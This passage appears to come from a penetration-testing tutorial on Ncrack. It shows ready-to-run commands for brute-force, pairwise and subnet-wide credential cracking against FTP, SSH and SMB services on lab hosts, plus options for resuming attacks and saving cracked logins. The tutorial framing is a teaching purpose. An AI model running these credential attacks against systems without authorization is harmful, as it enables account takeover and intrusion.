  • The Basic Attack

This has been defined as the basic attacks because here we only know that port 21 is enabled for FTP service on the victim’s machine. We shall find out the possible FTP login credential by applying the following command:

Ncrack ftp://192.168.0.105

This command will help us in a way that it shall try to crack the password for the anonymous login account. This is shown in the picture below:

  • The Brute Force Attack

If you are facing similar situations like some discussed below then you need to type in the following commands:

  • Situation 1: You assume few passwords and usernames for any hosting service and do not prefer to use a dictionary then you are recommended to apply the following command this, however, shall reduce your effort of guessing the correct credentials:

ncrack -user syadmin,ignite -pass sydmin,123 ftp://192.168.0.107

  • Situation 2: You assume passwords and usernames but the network has multiple hosts and to guess for destination machine is a very time taking process so you can use the following command to crack valid login for any host present in the network:

ncrack -user syadmin,ignite -pass syadmin,123 192.168.0.2/24:21

  • The PairWise Attack

You need to choose usernames and passwords in pairs

I suppose you are not provided with any dictionary then by default the n Crack tool will go to it for pairing password for any anonymous login. You can apply the following command:

Ncrack –v –pairwise 192.168.0.105:21

Now you shall have a successful FTP login with the help of paired password Matthew.

Ncrack Cheat Sheet

  • Resume the Attack

This one is the feature that takes the hold. We know how irritating it gets when you probably lose a connection or face any other technical interruption during the test. This is where we seek the N crack tool which is considered as a blessing. If anyhow the attack gets interrupted then you can use the following command to pick it up right from where you lost it:

ncrack –resume /root/.ncrack/restore.2018-12-05_04-36

  • Stop on Success

As seen in the above attack, it keeps on cracking the service unless and until it finds all the possible logins, but if you want that then the attack should quit cracking the service after it finds one credential. In such a case you should add –f option in the crack command. This can be done in the following way:

ncrack -v –pairwise 192.168.0.105:21 –f

  • Obtain the Result in the List Format

It is important that how will you maintain your testing results and penetration testing report when you are presenting them. Most of the time it becomes very hectic to arrange the results in a good manner especially at a time when you have to penetrate them to many host machines. In such a situation you should add –sL option that will help you generate results in a list format. You can do this in the following way:

ncrack ssh://192.168.0.105 ssh://192.168.0.106 –sL

  1. N Crack – Output Format

Ncrack Output Format

  • The Normal Text File

If you wish to store the output result of ncrack in a text or XML format then for this you can add the –oN option. Then later you can also use the cat command to read for information there inside that particular file.

ncrack -U user.txt -P pass.txt 192.168.0.107:21 192.168.0.105:21 -oN normal.txt

You can also use the –oX command to save the result of the output in the XML format:

ncrack -U user.txt -P pass.txt 192.168.0.109:21 192.168.0.105:21 -oX save.xml

  • All Format At Once

If you wish to store the n Crack output result on both the .txt and XML format then you need to use the –oA option while you are using the command. This can be done in the following way:

ncrack -U user.txt -P pass.txt 192.168.0.106:21 192.168.0.105:21 -oA output

  • Append Output

If the test that you are conducting is being repeated then the n Crack provides you with an option to add or append the output to an existing file with much ease. When you try to crack the FTP service for the 192.168.0.106 host then it gives ignite 123 as a login credential that can be saved in a text file.

ncrack -U user.txt -P pass.txt 192.168.0.106:21 -oN normal.txt

If you are cracking the SMB service for the 192.168.0.105 host then it gives msfadmin: msfadmin as the login credential. Here it is appended to the previous text file

ncrack -U user.txt -P pass.txt 192.168.0.105:445 -oN normal.txt –append-output

From this, it can be concluded that by reading the normal.txt file we get both output results at one place despite specified output files.

With the help of N Crack, we can trace our target while attacking it. During this, we can set the trace level anywhere between 0-10 depending on our objective. The output of such an operation is indeed very big
